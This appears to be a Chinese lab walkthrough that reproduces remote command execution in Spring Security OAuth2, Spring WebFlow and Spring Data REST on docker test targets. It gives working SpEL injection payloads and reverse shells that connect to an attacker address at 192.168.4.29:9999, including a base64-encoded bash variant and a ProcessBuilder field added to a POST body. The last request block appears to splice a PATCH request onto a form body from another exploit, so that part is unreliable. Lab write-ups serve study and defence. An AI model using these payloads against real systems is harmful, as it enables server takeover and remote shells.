一、 CVE-2016-4977_ Spring Security OAuth2 远程命令执行漏洞
漏洞详情
Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。
参考链接:
- http://secalert.net/#CVE-2016-4977
- https://deadpool.sh/2017/RCE-Springs/
- http://blog.knownsec.com/2016/10/spring-security-oauth-rce/
运行环境
靶场:192.168.4.10_ubuntu
执行如下命令启动漏洞环境:
#docker-compose up -d
启动完成后,访问`http://your-ip:8080/`即可看到web页面。
漏洞复现
访问`http://your-ip:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test`。首先需要填写用户名和密码,我们这里填入`admin:admin`即可。
可见,我们输入是SpEL表达式`${233*233}`已经成功执行并返回结果:
然后,我们使用[poc.py](poc.py)来生成反弹shell的POC(注意:[Java反弹shell的限制与绕过方式]:
1、bash -i >& /dev/tcp/192.168.4.29/9999 0>&1 base64编码
2、构成反弹shell
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQuMjkvOTk5OSAwPiYxCg==}|{base64,-d}|{bash,-i}
3、环境自带poc.py形成攻击字符
如上图,生成了一大串SpEL语句。附带上这个SpEL语句
`http://your-ip:8080/oauth/authorize?response_type=[exploit]&client_id=acme&scope=openid&redirect_uri=http://test`
访问成功弹回shell:
二、 CVE-2017-4971_Spring WebFlow 远程代码执行漏洞
漏洞详情
Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。
参考链接:
- https://threathunter.org/topic/593d562353ab369c55425a90
- https://pivotal.io/security/cve-2017-4971
测试环境
#docker-compose up -d
等待环境启动后,访问`http://your-ip:8080`,将看到一个酒店预订的页面,这是spring-webflow官方给的简单示例。
漏洞复现
1、首先访问`http://your-ip:8080/login`,用页面左边给出的任意一个账号/密码登录系统:
2、然后访问id为1的酒店`http://your-ip:8080/hotels/1`,点击预订按钮“Book Hotel”,填写相关信息后点击“Process”(从这一步,其实WebFlow就正式开始了):
3、再点击确认“/confirm/i”:
此时抓包,抓到一个POST数据包,我们向其中添加一个字段(也就是反弹shell的POC):
```
&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.4.29/9999+0>%261")).start()=vulhub
```
成功执行,获得shell:
三、 CVE-2017-8046_Spring Data Rest 远程命令执行漏洞
漏洞详情
Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中(实现[RFC6902](https://tools.ietf.org/html/rfc6902)),path的值被传入`setValue`,导致执行了SpEL表达式,触发远程命令执行漏洞。
参考链接:
- http://xxlegend.com/2017/09/29/Spring%20Data%20Rest服务器PATCH请求远程代码执行漏洞CVE-2017-8046补充分析/
- https://tech.meituan.com/Spring_Data_REST_远程代码执行漏洞%28CVE-2017-8046%29_分析与复现.html
环境搭建
#docker-compose up -d
等待环境启动完成,然后访问`http://your-ip:8080/`即可看到json格式的返回值,说明这是一个Restful风格的API服务器。
漏洞复现
访问`http://your-ip:8080/customers/1`,看到一个资源。我们使用PATCH请求来修改之:
```
PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: **;q=0.8
Referer: http://localhost:8080/users?page=0&size=5
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=
```
执行`docker-compose exec spring bash`进入容器中,可见成功创建`/tmp/success`,说明命令执行成功: